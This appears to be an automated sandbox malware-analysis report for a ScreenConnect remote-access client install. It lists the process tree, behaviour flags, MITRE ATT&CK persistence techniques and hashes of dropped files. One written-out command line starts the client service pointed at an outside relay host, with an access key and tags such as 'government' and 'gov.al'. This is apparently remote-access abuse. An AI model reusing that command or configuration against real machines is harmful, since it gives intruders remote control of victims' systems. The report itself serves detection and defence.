C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5EBF5BD6ADEA32B04C616B7EDD4E6F83 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9C7E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240622953 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1220
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:2992
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D2813561934CD036147194C45B3E1E8B2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4432
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 989B500EAC18BB1F95169AEE71D03DC1 E Global\MSI00002⤵
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1420
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:2332
-
C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-s1t9su-relay.screenconnect.com&p=443&s=405768c7-e817-4293-8bbf-ca3f80fe5001&k=BgIAAACkAABSU0ExAAgAAAEAAQAZhsU%2bP4UE5AtDTMSFWho25Rl9VjYF8BVBXNwYvU7ugYYwP08h0Z%2fmsf3hdTZqjWU0kI2j8SYjcPTHlmm1DVR4w%2bCnc6S9OaDbDbVnmTAZb4aLnlE0C%2bxZGL%2fgLPE0QdK9YGD5fWjCXXAGAq8z6%2fnmyvLLDh70j0hHGeffkk6HXpjl9E61RXxiCCy3wJleuhdWVSz2TYOAsya%2fs6TEOncLxRX5dVsIpVQHwe%2bApMXuapOWQ1kSv%2bZ0liWHcxZnDeQOpXfTGKLGsTXT3yFLz2B3W33laNnlW%2fpN5y3LSz9plPy4pGcwqi%2bgQpv6KqQ%2b4n55foFDpc6%2fFyuAI8vGWA2l&c=government&c=gov.al&c=it&c=pc&c=&c=&c=&c="1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsClient.exe" "RunRole" "a895b411-f310-4111-8bd7-a3248606e5bc" "User"2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1892
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
213KB
MD5468b7150b6207cb412e88cc6acae35e4
SHA1edba0845dad2d45f5c2071cf60ec4fef7fc68b04
SHA256612798966d91899f3ddfe87b57dbc0e4949796e2f901a4e38eb65a7f10f7bfc9
SHA512eecde0ecffa41f1ae3fe91c8a934e0d64c8eb5574578e7992e30368df4b6405e975fce54a262ab30a03da701e81d18436fdf542d77ab14fa6217197e0d3d5a6b
-
Filesize
47KB
MD526f4eb71380f8e033c74ed8c57d0ad9d
SHA1d94252e86215a4a2e29f081cecd335d48bbd7a9c
SHA256179b6d08519b3e56dce0cc0096f31e9751d74b7875e030a3b2d01c189be0108d
SHA5128d36cad523e6847d055caa35535388008633187078c55625f32548016ffd2ba9f5528fe2df2c97d6c9e3e08ac432f8156d59da334acfec4142a44b4a4421a897
-
Filesize
26KB
MD55cd580b22da0c33ec6730b10a6c74932
SHA10b6bded7936178d80841b289769c6ff0c8eead2d
SHA256de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
SHA512c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
-
Filesize
188KB
MD5ca2857bac072baec93fbf23e5fcff956
SHA1049f21dfe97f5dc247b0c7a29e22111dc4c63aad
SHA25604a6ba13d7f014c6650a05c55f7fef2d465903ab900bc37a2a28f4bf08a658c0
SHA51296bdfe18334b9837223da8ebb7f671abde9559f6e5150854025315bcccc09133c50939cb0e62ff16219d45b77711baa3c3c278edacda4584960e9c06e63e20f1
-
Filesize
59KB
MD5a9d86db5d9c735d6dcc83e979ab64a7d
SHA1e4f945e799d9bf5fc103f65d8ca832290b5ab03c
SHA256083eb9b90e04e39514c50e296593c3652f05cf3fe3ba41cb7adeed82930e4ddf
SHA512ceceeea84b266ca389562fcbbc4fa24bb4b44093289b0a67e60bf4506c2a554087fb2ee9ee607e29efb8912a26ce65c3457a14c23c4d742181b3795a3a6338b4
-
Filesize
93KB
MD589d3d099b6d8731bd1b7f5a68b5bf17c
SHA1c6aed886840aafd08796207e2646d8805d012b81
SHA256bcaa3d8dcba6ba08bf20077eadd0b31f58a1334b7b9c629e475694c4eeafd924
SHA5126cb52828006ef2d41b9acc2a8a8e84b2d5f0bee0304cc8762d5945a1e21023373371893a261d089599799ebe89cbe0da5327ee80d5db07a936727ea21fb0951a
-
Filesize
1.6MB
MD544b736a074b7e0bbe0c6c5f7debe0f3d
SHA1a1c063d652908b663a5e2d12c81c7a74b1f7b7e2
SHA256f8c648e09fb42f145b581ed80b2a0c88e9f18041efd03ad3187a6229f17a14b8
SHA512de0258dcbe6886e8c8e0b6188f6427cd2b650a80b16cd11349e3f8332af906b47d79c5714fd734df5866923735bda1e0a448c2b18dac2102464f2f237d97c37a
-
Filesize
572KB
MD519e093bc974d1ed6399f50b7fa3be1f8
SHA111e0b01858dc2ed0d1b5854ebeb09a332a36ed93
SHA256ea38cff329692f6b4c8ade15970b742a9a8bb62a44f59227c510cb2882fa436f
SHA512d2e4c543ddf850b5c54d2de5dea03de77fdb4a852a377b0e35146e733cfd1cb198a8afc88cb55fed20e87ac6ae7ed8ea0198f0049a0fc400615ac32bb153cc6a
-
C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsClient.exe.config
Filesize266B
MD5728175e20ffbceb46760bb5e1112f38b
SHA12421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA25687c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
SHA512fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
-
C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsCredentialProvider.dll
Filesize746KB
MD5f01a59c5cf7ec437097d414d7c6d59c4
SHA19ea1c3fbf3b5adbe5a23578dea3b511d44e6a2dd
SHA25662b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
SHA512587748ad4dd18677a3b7943eab1c0f8e77fe50a45e17266ba9a0e1363eda0ff1eabcf11884a5d608e23baf86af8f011db745ad06bcdecdfd01c20430745fe4bb
-
Filesize
970B
MD5ca804d47bcb02664a31fa8ec17d16793
SHA17a01687b36263ad5169ae53c421afc28fb519a64
SHA256bf61fdbdc3db66c762cca24d0e06a533063b1912dbd6a83807457bd37e65befd
SHA51224e42453d5d075f936f022c02b3066bf41a9a97a33dbec14c7f111898aec88c08bfd9a9e9f1126ecb0f9f8e31b40eb73637d6314117230ec85e47183c620bba7
-
Filesize
1015KB
MD55c1b123df7123061ca1f1cdb31ce36cb
SHA11421db694e8c2a3af066d6317282157d2c05e3b6
SHA256d40ae98a7d18c2c35c0355984340b0517be47257c000931093a4fc3ccc90c226
SHA512866979a543ac413dbeadce82e9ab35ffe5f4d0f69fc61ef2c4f8761030a126abfab4db053669df7e7a602e3753842a7315c17881d2a333d0abea51d8ef3041e8
-
Filesize
172KB
MD55ef88919012e4a3d8a1e2955dc8c8d81
SHA1c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA2563e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
SHA5124544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
-
Filesize
518KB
MD5469a702d0861e2c63e6e6e575c58e399
SHA106cf299c7dc7867c9584647f5ba681aec6c469d4
SHA256affb342d2dce754b4ddbeeb4ed344806fda531d68346df12629b7bd8c0fa753c
SHA51290fa0f0bbb3076f770354fc6f870c302c2c3a7e2ea010dc451cbd4dd0d417aa360f57ddfe003ea634efa38a7e34b63236ffe1addb4738fac16cff798c940b016
-
Filesize
21KB
MD541e8c80a7f1bf4911fce55c0de249302
SHA121d6f8ddc242a55c4894127bbef0479fea1d6847
SHA256569b267d8c4cef1b26c9337f5a355f0040ad4d7e9610f28784e4af05efa3e4e9
SHA512d2f375e9956d46db0fc4e0162ea894ad8598512a3de93537579ddcd8872fc8160751a4ada37bbc9f61b78414e5d241dfb2e036f2200bff4de70ac1a417aaa240
-
Filesize
202KB
MD5ba84dd4e0c1408828ccc1de09f585eda
SHA1e8e10065d479f8f591b9885ea8487bc673301298
SHA2563cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
SHA5127a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
-
Filesize
7.3MB
MD56086601a8560a2037f5091d8632d0509
SHA12a7203ea36b649e95f42a2cf0fcf38347d0a7640
SHA256ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a
SHA512554fb256c1be49942c3c1b2cf1620c8d364a9fa52de7471808ba282019f87703980c9213045123fa5406916bc2e6e60fe963950d4916c622b1edd1f14032864a
-
Filesize
23.7MB
MD582849a82a1a8af1a0a7854be4306abec
SHA16daa79f8428d68f4b0d95a634a17e947a747422a
SHA25627800eb130a1bd26235ca26843b19cc19b7401371d5fd993d46208dbb98c665b
SHA512d4c8f205c85f4c6199f39a714e0c2d5512348e1a804f9c19319a273cb3b2ca598bc0545e4f3950c19aeda9ede7d245df9b851ff46a74d30a24907c473545848f
-
\??\Volume{848480a2-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{606087f1-9998-4955-b3b0-8fe909d2c8e5}_OnDiskSnapshotProp
Filesize6KB
MD5bb773f008c41a324c23df0069f070a5e
SHA16a1cacad3589ff47c17ff562122a24836c967a32
SHA2567ca623066d0db97cbd07155015fb7051662d257f6403cf304ad8734ff7409395
SHA5123ad371a1c9aad40b0659a55c31f246322910d2af042f09fc714b0926e795e63045976e2e37effe4ffda92d1014790cb6f7a79bebc23a4cc807190b6c8af18b8a